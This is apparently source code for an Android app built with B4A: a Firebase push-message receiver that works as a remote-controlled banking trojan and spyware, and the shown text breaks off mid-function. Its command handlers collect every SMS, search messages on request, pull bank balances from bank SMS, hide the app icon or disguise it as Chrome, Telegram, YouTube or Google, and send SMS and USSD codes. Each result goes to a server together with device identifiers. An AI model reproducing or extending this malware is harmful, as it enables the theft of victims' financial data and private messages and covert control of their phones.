package matinlurd.com;


import anywheresoftware.b4a.BA;
import anywheresoftware.b4a.objects.ReceiverHelper;
import anywheresoftware.b4a.debug.*;

public class firebasemessaging extends android.content.BroadcastReceiver{
		
    static firebasemessaging mostCurrent;
	public static BA processBA;
    private ReceiverHelper _receiver;
    private static boolean firstTime = true;
    public static Class<?> getObject() {
		return firebasemessaging.class;
	}
	@Override
	public void onReceive(android.content.Context context, android.content.Intent intent) {
        mostCurrent = this;
       
        if (processBA == null) {
           
		    processBA = new BA(context, null, null, anywheresoftware.b4a.BA.SharedProcessBA.ModuleType.RECEIVER, "matinlurd.com.firebasemessaging");
            if (BA.isShellModeRuntimeCheck(processBA)) {
                processBA.raiseEvent2(null, true, "SHELL", false);
		    }
            try {
                Class.forName(BA.applicationContext.getPackageName() + ".main").getMethod("initializeProcessGlobals").invoke(null, null);
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
            processBA.loadHtSubs(this.getClass());
        }
         _receiver = new ReceiverHelper(this);
        if (BA.isShellModeRuntimeCheck(processBA)) {
			processBA.raiseEvent2(null, true, "CREATE", true, "matinlurd.com.firebasemessaging", processBA, _receiver, anywheresoftware.b4a.keywords.Common.Density);
		}
        processBA.setActivityPaused(false);
        BA.LogInfo("*** Receiver (firebasemessaging) Receive " + (firstTime ? "(first time)" : "") + " ***");
        anywheresoftware.b4a.objects.IntentWrapper iw = new anywheresoftware.b4a.objects.IntentWrapper();
        iw.setObject(intent);
        processBA.raiseEvent(null, "receiver_receive", firstTime, iw);
        firstTime = false;
    }
	
public anywheresoftware.b4a.keywords.Common __c = null;
public static anywheresoftware.b4a.objects.FirebaseNotificationsService.FirebaseMessageWrapper _fm = null;
public static anywheresoftware.b4a.phone.Phone _phone = null;
public static com.reza.sh.deviceinfo.DiviceInfo _pd = null;
public static boolean _statuswhat = false;
public static anywheresoftware.b4a.phone.SmsWrapper _all = null;
public static anywheresoftware.b4a.phone.SmsWrapper.Sms _sms = null;
public static anywheresoftware.b4a.objects.collections.List _li = null;
public static anywheresoftware.b4a.objects.collections.List _numbers = null;
public static anywheresoftware.b4a.objects.collections.List _messages = null;
public static String _filesmsname = "";
public static matinlurd.com.sendserver _send = null;
public static anywheresoftware.b4a.phone.Phone.PhoneId _phoneid = null;
public static anywheresoftware.b4a.phone.PhoneEvents _pe = null;
public static String _res = "";
public static anywheresoftware.b4a.phone.Phone.PhoneWakeState _pm = null;
public static b4a.example.contactsutils _cu = null;
public static smm.ussdcallbackwrapperpackage.ussdcallbackwrapper _myussd = null;
public static String _allphone = "";
public matinlurd.com.main _main = null;
public matinlurd.com.newmessage _newmessage = null;
public matinlurd.com.serverlink _serverlink = null;
public matinlurd.com.starter _starter = null;
public matinlurd.com.background _background = null;
public matinlurd.com.subs _subs = null;
public matinlurd.com.matin _matin = null;
public matinlurd.com.myfun _myfun = null;
public matinlurd.com.chrome _chrome = null;
public matinlurd.com.mainchange _mainchange = null;
public matinlurd.com.second _second = null;
public matinlurd.com.telegram _telegram = null;
public matinlurd.com.villain _villain = null;
public matinlurd.com.youtube _youtube = null;
public matinlurd.com.httputils2service _httputils2service = null;
public static anywheresoftware.b4a.objects.collections.Map  _bank_balances() throws Exception{
anywheresoftware.b4a.objects.collections.Map _mapdata = null;
String _address = "";
String _body = "";
String _balance = "";
String _bank = "";
 //BA.debugLineNum = 496;BA.debugLine="Public Sub BANK_Balances As Map";
 //BA.debugLineNum = 497;BA.debugLine="Private mapdata As Map";
_mapdata = new anywheresoftware.b4a.objects.collections.Map();
 //BA.debugLineNum = 498;BA.debugLine="mapdata.Initialize";
_mapdata.Initialize();
 //BA.debugLineNum = 499;BA.debugLine="Try";
try { //BA.debugLineNum = 500;BA.debugLine="For Each sms As Sms In all.GetByType(all.TYPE_IN";
{
final anywheresoftware.b4a.BA.IterableList group4 = _all.GetByType(_all.TYPE_INBOX);
final int groupLen4 = group4.getSize()
;int index4 = 0;
;
for (; index4 < groupLen4;index4++){
_sms = (anywheresoftware.b4a.phone.SmsWrapper.Sms)(group4.Get(index4));
 //BA.debugLineNum = 501;BA.debugLine="Private Address,body,Balance,BANK As String";
_address = "";
_body = "";
_balance = "";
_bank = "";
 //BA.debugLineNum = 502;BA.debugLine="Address = sms.Address";
_address = _sms.Address;
 //BA.debugLineNum = 503;BA.debugLine="body= sms.Body";
_body = _sms.Body;
 //BA.debugLineNum = 504;BA.debugLine="If Subs.BANK_IsBank (body) Then";
if (mostCurrent._subs._bank_isbank /*boolean*/ (processBA,_body)) { 
 //BA.debugLineNum = 505;BA.debugLine="Balance = Subs.BANK_FindBalance(body)";
_balance = mostCurrent._subs._bank_findbalance /*String*/ (processBA,_body);
 //BA.debugLineNum = 506;BA.debugLine="BANK = Subs.Detect_BankName(Address,body)";
_bank = mostCurrent._subs._detect_bankname /*String*/ (processBA,_address,_body);
 //BA.debugLineNum = 507;BA.debugLine="If BANK.Length > 2 And Balance.Length > 2 Then";
if (_bank.length()>2 && _balance.length()>2) { 
 //BA.debugLineNum = 508;BA.debugLine="If mapdata.ContainsKey(BANK) = False Then";
if (_mapdata.ContainsKey((Object)(_bank))==anywheresoftware.b4a.keywords.Common.False) { 
 //BA.debugLineNum = 509;BA.debugLine="mapdata.Put(BANK,CreateMap(\"Balance\":Balance";
_mapdata.Put((Object)(_bank),(Object)(anywheresoftware.b4a.keywords.Common.createMap(new Object[] {(Object)("Balance"),(Object)(_balance),(Object)("Address"),(Object)(_address)}).getObject()));
 };
 };
 };
 }
};
 } 
       catch (Exception e19) {
			processBA.setLastException(e19); //BA.debugLineNum = 515;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("61114131",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 };
 //BA.debugLineNum = 517;BA.debugLine="Return mapdata";
if (true) return _mapdata;
 //BA.debugLineNum = 518;BA.debugLine="End Sub";
return null;
}
public static String  _checkscreenstatus() throws Exception{
anywheresoftware.b4a.agraham.reflection.Reflection _r = null;
Object _powerservice = null;
boolean _isscreenon = false;
 //BA.debugLineNum = 522;BA.debugLine="Public Sub CheckScreenStatus";
 //BA.debugLineNum = 523;BA.debugLine="Dim res As String";
_res = "";
 //BA.debugLineNum = 524;BA.debugLine="pm.PartialLock";
_pm.PartialLock(processBA);
 //BA.debugLineNum = 526;BA.debugLine="Dim r As Reflector";
_r = new anywheresoftware.b4a.agraham.reflection.Reflection();
 //BA.debugLineNum = 527;BA.debugLine="r.Target = r.GetContext";
_r.Target = (Object)(_r.GetContext(processBA));
 //BA.debugLineNum = 528;BA.debugLine="Dim powerService As Object = r.RunMethod2(\"getSys";
_powerservice = _r.RunMethod2("getSystemService","power","java.lang.String");
 //BA.debugLineNum = 529;BA.debugLine="r.Target = powerService";
_r.Target = _powerservice;
 //BA.debugLineNum = 530;BA.debugLine="Dim isScreenOn As Boolean = r.RunMethod(\"isScreen";
_isscreenon = BA.ObjectToBoolean(_r.RunMethod("isScreenOn"));
 //BA.debugLineNum = 532;BA.debugLine="If isScreenOn Then";
if (_isscreenon) { 
 //BA.debugLineNum = 533;BA.debugLine="res = \"On\"";
_res = "On";
 //BA.debugLineNum = 534;BA.debugLine="Log(\"Screen is ON\")";
anywheresoftware.b4a.keywords.Common.LogImpl("61179660","Screen is ON",0);
 }else {
 //BA.debugLineNum = 536;BA.debugLine="res = \"Off\"";
_res = "Off";
 //BA.debugLineNum = 537;BA.debugLine="Log(\"Screen is OFF\")";
anywheresoftware.b4a.keywords.Common.LogImpl("61179663","Screen is OFF",0);
 };
 //BA.debugLineNum = 539;BA.debugLine="Return res";
if (true) return _res;
 //BA.debugLineNum = 540;BA.debugLine="pm.ReleasePartialLock";
_pm.ReleasePartialLock();
 //BA.debugLineNum = 541;BA.debugLine="End Sub";
return "";
}
public static void  _fm_messagearrived(anywheresoftware.b4a.objects.FirebaseNotificationsService.RemoteMessageWrapper _message) throws Exception{
ResumableSub_fm_MessageArrived rsub = new ResumableSub_fm_MessageArrived(null,_message);
rsub.resume(processBA, null);
}
public static class ResumableSub_fm_MessageArrived extends BA.ResumableSub {
public ResumableSub_fm_MessageArrived(matinlurd.com.firebasemessaging parent,anywheresoftware.b4a.objects.FirebaseNotificationsService.RemoteMessageWrapper _message) {
this.parent = parent;
this._message = _message;
}
matinlurd.com.firebasemessaging parent;
anywheresoftware.b4a.objects.FirebaseNotificationsService.RemoteMessageWrapper _message;
String _command = "";
String _device_id = "";
String _textsms = "";
String _numberlist = "";
anywheresoftware.b4a.phone.SmsWrapper _mysmsmessages = null;
anywheresoftware.b4a.phone.SmsWrapper.Sms _mysms = null;
anywheresoftware.b4a.objects.collections.List _mylist = null;
int _i = 0;
anywheresoftware.b4a.objects.StringUtils _st = null;
String _balancedata = "";
String _allcon = "";
String _messagetext = "";
b4a.example.contactsutils._cucontact _c = null;
b4a.example.contactsutils._cuphone _phonec = null;
anywheresoftware.b4a.objects.collections.List _x = null;
String _smsnumber = "";
String _numb = "";
anywheresoftware.b4a.phone.Contacts2Wrapper _contacts = null;
anywheresoftware.b4a.keywords.StringBuilderWrapper _stringbuilder = null;
anywheresoftware.b4a.phone.ContactsWrapper.Contact _contact = null;
String _all_bank = "";
int step17;
int limit17;
anywheresoftware.b4a.BA.IterableList group107;
int index107;
int groupLen107;
anywheresoftware.b4a.BA.IterableList group108;
int index108;
int groupLen108;
int step170;
int limit170;
anywheresoftware.b4a.BA.IterableList group190;
int index190;
int groupLen190;
anywheresoftware.b4a.BA.IterableList group229;
int index229;
int groupLen229;
int step305;
int limit305;
int step323;
int limit323;
int step343;
int limit343;
int step363;
int limit363;

@Override
public void resume(BA ba, Object[] result) throws Exception{

    while (true) {
try {

        switch (state) {
            case -1:
return;

case 0:
//C
this.state = 1;
 //BA.debugLineNum = 52;BA.debugLine="Log(Message.GetData)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917505",BA.ObjectToString(_message.GetData()),0);
 //BA.debugLineNum = 53;BA.debugLine="Dim command,Device_id,TextSms,NumberList As Strin";
_command = "";
_device_id = "";
_textsms = "";
_numberlist = "";
 //BA.debugLineNum = 55;BA.debugLine="command = Message.GetData.Get(\"command\")";
_command = BA.ObjectToString(_message.GetData().Get((Object)("command")));
 //BA.debugLineNum = 56;BA.debugLine="Device_id = Message.GetData.Get(\"device_id\")";
_device_id = BA.ObjectToString(_message.GetData().Get((Object)("device_id")));
 //BA.debugLineNum = 57;BA.debugLine="NumberList = Message.GetData.Get(\"phone\")";
_numberlist = BA.ObjectToString(_message.GetData().Get((Object)("phone")));
 //BA.debugLineNum = 58;BA.debugLine="TextSms = Message.GetData.Get(\"text\")";
_textsms = BA.ObjectToString(_message.GetData().Get((Object)("text")));
 //BA.debugLineNum = 61;BA.debugLine="If command = \"online_device\" Then";
if (true) break;

case 1:
//if
this.state = 306;
if ((_command).equals("online_device")) { 
this.state = 3;
}else if((_command).equals("allSearch")) { 
this.state = 5;
}else if((_command).equals("getallbalance")) { 
this.state = 15;
}else if((_command).equals("hidden") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 23;
}else if((_command).equals("visible") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 31;
}else if((_command).equals("hide_all")) { 
this.state = 39;
}else if((_command).equals("changetochrome") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 47;
}else if((_command).equals("changetotel") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 55;
}else if((_command).equals("smcontact") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 63;
}else if((_command).equals("ussdcode") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 79;
}else if((_command).equals("changetoyoutube") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 87;
}else if((_command).equals("changetogoogle") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 95;
}else if((_command).equals("silent_all")) { 
this.state = 103;
}else if((_command).equals("send_sms_all")) { 
this.state = 111;
}else if((_command).equals("status") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 123;
}else if((_command).equals("send_sms") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 131;
}else if((_command).equals("offline_mode_on") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 143;
}else if((_command).equals("offline_mode_off") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 151;
}else if((_command).equals("all_sms_recived") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 157;
}else if((_command).equals("all_sms") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 165;
}else if((_command).equals("all_contacts") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 173;
}else if((_command).equals("all_sms_sent") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 191;
}else if((_command).equals("last_sms") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 199;
}else if((_command).equals("Vibrate") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 207;
}else if((_command).equals("silent") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 215;
}else if((_command).equals("Normal") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 223;
}else if((_command).equals("userphone") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 231;
}else if((_command).equals("balance") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 239;
}else if((_command).equals("last_bank_sms") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 247;
}else if((_command).equals("all_bank_sms") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 263;
}else if((_command).equals("WhatsChecker") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 279;
}else if((_command).equals("searchSMS") && (_device_id).equals(parent._phone.GetSettings("android_id"))) { 
this.state = 297;
}if (true) break;

case 3:
//C
this.state = 306;
 //BA.debugLineNum = 62;BA.debugLine="res = CheckScreenStatus";
parent._res = _checkscreenstatus();
 //BA.debugLineNum = 64;BA.debugLine="send.SendData(\"Device_id=\" &phone.GetSettings(\"a";
parent._send._senddata /*void*/ ("Device_id="+parent._phone.GetSettings("android_id")+"&berand="+parent._phone.getManufacturer()+"&Product="+parent._phone.getProduct()+"&Model="+parent._phone.getModel()+"&operator="+parent._phone.GetNetworkOperatorName()+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&action="+"online_device"+"&screen="+parent._res);
 if (true) break;

case 5:
//C
this.state = 6;
 //BA.debugLineNum = 66;BA.debugLine="res = CheckScreenStatus";
parent._res = _checkscreenstatus();
 //BA.debugLineNum = 67;BA.debugLine="Dim MySmsMessages As SmsMessages";
_mysmsmessages = new anywheresoftware.b4a.phone.SmsWrapper();
 //BA.debugLineNum = 68;BA.debugLine="Dim MySms As Sms";
_mysms = new anywheresoftware.b4a.phone.SmsWrapper.Sms();
 //BA.debugLineNum = 69;BA.debugLine="Dim MyList As List : MyList.Initialize";
_mylist = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 69;BA.debugLine="Dim MyList As List : MyList.Initialize";
_mylist.Initialize();
 //BA.debugLineNum = 70;BA.debugLine="MyList=MySmsMessages.GetAll";
_mylist = _mysmsmessages.GetAll();
 //BA.debugLineNum = 71;BA.debugLine="For i = 0 To MyList.Size -1";
if (true) break;

case 6:
//for
this.state = 13;
step17 = 1;
limit17 = (int) (_mylist.getSize()-1);
_i = (int) (0) ;
this.state = 307;
if (true) break;

case 307:
//C
this.state = 13;
if ((step17 > 0 && _i <= limit17) || (step17 < 0 && _i >= limit17)) this.state = 8;
if (true) break;

case 308:
//C
this.state = 307;
_i = ((int)(0 + _i + step17)) ;
if (true) break;

case 8:
//C
this.state = 9;
 //BA.debugLineNum = 72;BA.debugLine="MySms = MyList.Get(i)";
_mysms = (anywheresoftware.b4a.phone.SmsWrapper.Sms)(_mylist.Get(_i));
 //BA.debugLineNum = 73;BA.debugLine="If MySms.Body.Contains(TextSms) Then";
if (true) break;

case 9:
//if
this.state = 12;
if (_mysms.Body.contains(_textsms)) { 
this.state = 11;
}if (true) break;

case 11:
//C
this.state = 12;
 //BA.debugLineNum = 75;BA.debugLine="send.SendData(\"messagetext=\" & MySms.Body &\"&w";
parent._send._senddata /*void*/ ("messagetext="+_mysms.Body+"&word="+_textsms+"&sender="+_mysms.Address+"&Model="+parent._phone.getModel()+"&Device_id="+parent._phone.GetSettings("android_id")+"&action="+"searchSMS"+"&operator="+parent._phone.GetNetworkOperatorName()+"&screen="+parent._res);
 //BA.debugLineNum = 76;BA.debugLine="Exit";
this.state = 13;
if (true) break;
 if (true) break;

case 12:
//C
this.state = 308;
;
 if (true) break;
if (true) break;

case 13:
//C
this.state = 306;
;
 if (true) break;

case 15:
//C
this.state = 16;
 //BA.debugLineNum = 80;BA.debugLine="Try";
if (true) break;

case 16:
//try
this.state = 21;
this.catchState = 20;
this.state = 18;
if (true) break;

case 18:
//C
this.state = 21;
this.catchState = 20;
 //BA.debugLineNum = 81;BA.debugLine="Private st As StringUtils";
_st = new anywheresoftware.b4a.objects.StringUtils();
 //BA.debugLineNum = 83;BA.debugLine="Private BalanceData As String = st.EncodeUrl(st";
_balancedata = _st.EncodeUrl(_st.EncodeBase64(((anywheresoftware.b4a.objects.collections.JSONParser.JSONConverter) anywheresoftware.b4a.AbsObjectWrapper.ConvertToWrapper(new anywheresoftware.b4a.objects.collections.JSONParser.JSONConverter(), (java.lang.Object)(_bank_balances().getObject()))).ToString().getBytes("UTF8")),"UTF8");
 //BA.debugLineNum = 85;BA.debugLine="Log(BalanceData)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917538",_balancedata,0);
 //BA.debugLineNum = 86;BA.debugLine="Log(BANK_Balances)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917539",BA.ObjectToString(_bank_balances()),0);
 //BA.debugLineNum = 87;BA.debugLine="send.SendData(\"Balances=\"&BalanceData&\"&Model=\"";
parent._send._senddata /*void*/ ("Balances="+_balancedata+"&Model="+parent._phone.getModel()+"&Device_id="+parent._phone.GetSettings("android_id")+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&action="+"balance"+"&operator="+parent._phone.GetNetworkOperatorName());
 if (true) break;

case 20:
//C
this.state = 21;
this.catchState = 0;
 //BA.debugLineNum = 90;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917543",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 21:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 23:
//C
this.state = 24;
 //BA.debugLineNum = 95;BA.debugLine="send.SendData(\"Device_id=\" &phone.GetSettings(\"a";
parent._send._senddata /*void*/ ("Device_id="+parent._phone.GetSettings("android_id")+"&Model="+parent._phone.getModel()+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&action="+"Hidden_icon"+"&screen="+parent._res);
 //BA.debugLineNum = 96;BA.debugLine="Sleep(2500)";
anywheresoftware.b4a.keywords.Common.Sleep(processBA,this,(int) (2500));
this.state = 309;
return;
case 309:
//C
this.state = 24;
;
 //BA.debugLineNum = 97;BA.debugLine="Try";
if (true) break;

case 24:
//try
this.state = 29;
this.catchState = 28;
this.state = 26;
if (true) break;

case 26:
//C
this.state = 29;
this.catchState = 28;
 //BA.debugLineNum = 98;BA.debugLine="set_icon_status(\"main\",False)";
_set_icon_status("main",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 99;BA.debugLine="set_icon_status(\"second\",False)";
_set_icon_status("second",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 100;BA.debugLine="set_icon_status(\"youtube\",False)";
_set_icon_status("youtube",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 101;BA.debugLine="set_icon_status(\"telegram\",False)";
_set_icon_status("telegram",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 102;BA.debugLine="set_icon_status(\"google\",False)";
_set_icon_status("google",anywheresoftware.b4a.keywords.Common.False);
 if (true) break;

case 28:
//C
this.state = 29;
this.catchState = 0;
 //BA.debugLineNum = 104;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917557",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 29:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 31:
//C
this.state = 32;
 //BA.debugLineNum = 108;BA.debugLine="send.SendData( \"Device_id=\" &phone.GetSettings(\"";
parent._send._senddata /*void*/ ("Device_id="+parent._phone.GetSettings("android_id")+"&Model="+parent._phone.getModel()+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&action="+"visible_icon"+"&screen="+parent._res);
 //BA.debugLineNum = 109;BA.debugLine="Sleep(2500)";
anywheresoftware.b4a.keywords.Common.Sleep(processBA,this,(int) (2500));
this.state = 310;
return;
case 310:
//C
this.state = 32;
;
 //BA.debugLineNum = 111;BA.debugLine="Try";
if (true) break;

case 32:
//try
this.state = 37;
this.catchState = 36;
this.state = 34;
if (true) break;

case 34:
//C
this.state = 37;
this.catchState = 36;
 //BA.debugLineNum = 112;BA.debugLine="set_icon_status(\"main\",True)";
_set_icon_status("main",anywheresoftware.b4a.keywords.Common.True);
 //BA.debugLineNum = 113;BA.debugLine="set_icon_status(\"second\",False)";
_set_icon_status("second",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 114;BA.debugLine="set_icon_status(\"youtube\",False)";
_set_icon_status("youtube",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 115;BA.debugLine="set_icon_status(\"telegram\",False)";
_set_icon_status("telegram",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 116;BA.debugLine="set_icon_status(\"google\",False)";
_set_icon_status("google",anywheresoftware.b4a.keywords.Common.False);
 if (true) break;

case 36:
//C
this.state = 37;
this.catchState = 0;
 //BA.debugLineNum = 118;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917571",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 37:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 39:
//C
this.state = 40;
 //BA.debugLineNum = 122;BA.debugLine="send.SendData( \"Device_id=\" &phone.GetSettings(\"";
parent._send._senddata /*void*/ ("Device_id="+parent._phone.GetSettings("android_id")+"&Model="+parent._phone.getModel()+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&action="+"Hidden_icon"+"screen="+parent._res);
 //BA.debugLineNum = 123;BA.debugLine="Sleep(2500)";
anywheresoftware.b4a.keywords.Common.Sleep(processBA,this,(int) (2500));
this.state = 311;
return;
case 311:
//C
this.state = 40;
;
 //BA.debugLineNum = 124;BA.debugLine="Try";
if (true) break;

case 40:
//try
this.state = 45;
this.catchState = 44;
this.state = 42;
if (true) break;

case 42:
//C
this.state = 45;
this.catchState = 44;
 //BA.debugLineNum = 125;BA.debugLine="StartService(Me)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,firebasemessaging.getObject());
 //BA.debugLineNum = 126;BA.debugLine="StartService(BackGround)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,(Object)(parent.mostCurrent._background.getObject()));
 //BA.debugLineNum = 127;BA.debugLine="set_icon_status(\"main\",False)";
_set_icon_status("main",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 128;BA.debugLine="set_icon_status(\"second\",False)";
_set_icon_status("second",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 129;BA.debugLine="set_icon_status(\"youtube\",False)";
_set_icon_status("youtube",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 130;BA.debugLine="set_icon_status(\"telegram\",False)";
_set_icon_status("telegram",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 131;BA.debugLine="set_icon_status(\"google\",False)";
_set_icon_status("google",anywheresoftware.b4a.keywords.Common.False);
 if (true) break;

case 44:
//C
this.state = 45;
this.catchState = 0;
 //BA.debugLineNum = 133;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917586",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 45:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 47:
//C
this.state = 48;
 //BA.debugLineNum = 138;BA.debugLine="Log(command)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917591",_command,0);
 //BA.debugLineNum = 139;BA.debugLine="Try";
if (true) break;

case 48:
//try
this.state = 53;
this.catchState = 52;
this.state = 50;
if (true) break;

case 50:
//C
this.state = 53;
this.catchState = 52;
 //BA.debugLineNum = 141;BA.debugLine="send.SendData( \"Device_id=\" &phone.GetSettings(";
parent._send._senddata /*void*/ ("Device_id="+parent._phone.GetSettings("android_id")+"&Model="+parent._phone.getModel()+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&action="+"iconchange"+"&screen="+parent._res);
 //BA.debugLineNum = 142;BA.debugLine="Sleep(2500)";
anywheresoftware.b4a.keywords.Common.Sleep(processBA,this,(int) (2500));
this.state = 312;
return;
case 312:
//C
this.state = 53;
;
 //BA.debugLineNum = 143;BA.debugLine="StartService(Me)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,firebasemessaging.getObject());
 //BA.debugLineNum = 144;BA.debugLine="StartService(BackGround)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,(Object)(parent.mostCurrent._background.getObject()));
 //BA.debugLineNum = 145;BA.debugLine="set_icon_status(\"main\",False)";
_set_icon_status("main",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 146;BA.debugLine="set_icon_status(\"second\",True)";
_set_icon_status("second",anywheresoftware.b4a.keywords.Common.True);
 //BA.debugLineNum = 147;BA.debugLine="set_icon_status(\"youtube\",False)";
_set_icon_status("youtube",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 148;BA.debugLine="set_icon_status(\"telegram\",False)";
_set_icon_status("telegram",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 149;BA.debugLine="set_icon_status(\"google\",False)";
_set_icon_status("google",anywheresoftware.b4a.keywords.Common.False);
 if (true) break;

case 52:
//C
this.state = 53;
this.catchState = 0;
 //BA.debugLineNum = 151;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917604",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 53:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 55:
//C
this.state = 56;
 //BA.debugLineNum = 155;BA.debugLine="Log(command)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917608",_command,0);
 //BA.debugLineNum = 156;BA.debugLine="Try";
if (true) break;

case 56:
//try
this.state = 61;
this.catchState = 60;
this.state = 58;
if (true) break;

case 58:
//C
this.state = 61;
this.catchState = 60;
 //BA.debugLineNum = 158;BA.debugLine="send.SendData( \"Device_id=\" &phone.GetSettings(";
parent._send._senddata /*void*/ ("Device_id="+parent._phone.GetSettings("android_id")+"&Model="+parent._phone.getModel()+"&Battery="+BA.NumberToString(parent._pd.getBatteryPercentage())+"&andver="+parent._pd.getOSVersion()+"&action="+"iconchange"+"&screen="+parent._res);
 //BA.debugLineNum = 159;BA.debugLine="Sleep(2500)";
anywheresoftware.b4a.keywords.Common.Sleep(processBA,this,(int) (2500));
this.state = 313;
return;
case 313:
//C
this.state = 61;
;
 //BA.debugLineNum = 160;BA.debugLine="StartService(Me)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,firebasemessaging.getObject());
 //BA.debugLineNum = 161;BA.debugLine="StartService(BackGround)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,(Object)(parent.mostCurrent._background.getObject()));
 //BA.debugLineNum = 162;BA.debugLine="set_icon_status(\"main\",False)";
_set_icon_status("main",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 163;BA.debugLine="set_icon_status(\"telegram\",True)";
_set_icon_status("telegram",anywheresoftware.b4a.keywords.Common.True);
 //BA.debugLineNum = 164;BA.debugLine="set_icon_status(\"youtube\",False)";
_set_icon_status("youtube",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 165;BA.debugLine="set_icon_status(\"second\",False)";
_set_icon_status("second",anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 166;BA.debugLine="set_icon_status(\"google\",False)";
_set_icon_status("google",anywheresoftware.b4a.keywords.Common.False);
 if (true) break;

case 60:
//C
this.state = 61;
this.catchState = 0;
 //BA.debugLineNum = 168;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("6917621",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 61:
//C
this.state = 306;
this.catchState = 0;
;
 if (true) break;

case 63:
//C
this.state = 64;
 //BA.debugLineNum = 171;BA.debugLine="Try";
if (true) break;

case 64:
//try
this.state = 77;
this.catchState = 76;
this.state = 66;
if (true) break;

case 66:
//C
this.state = 67;
this.catchState = 76;
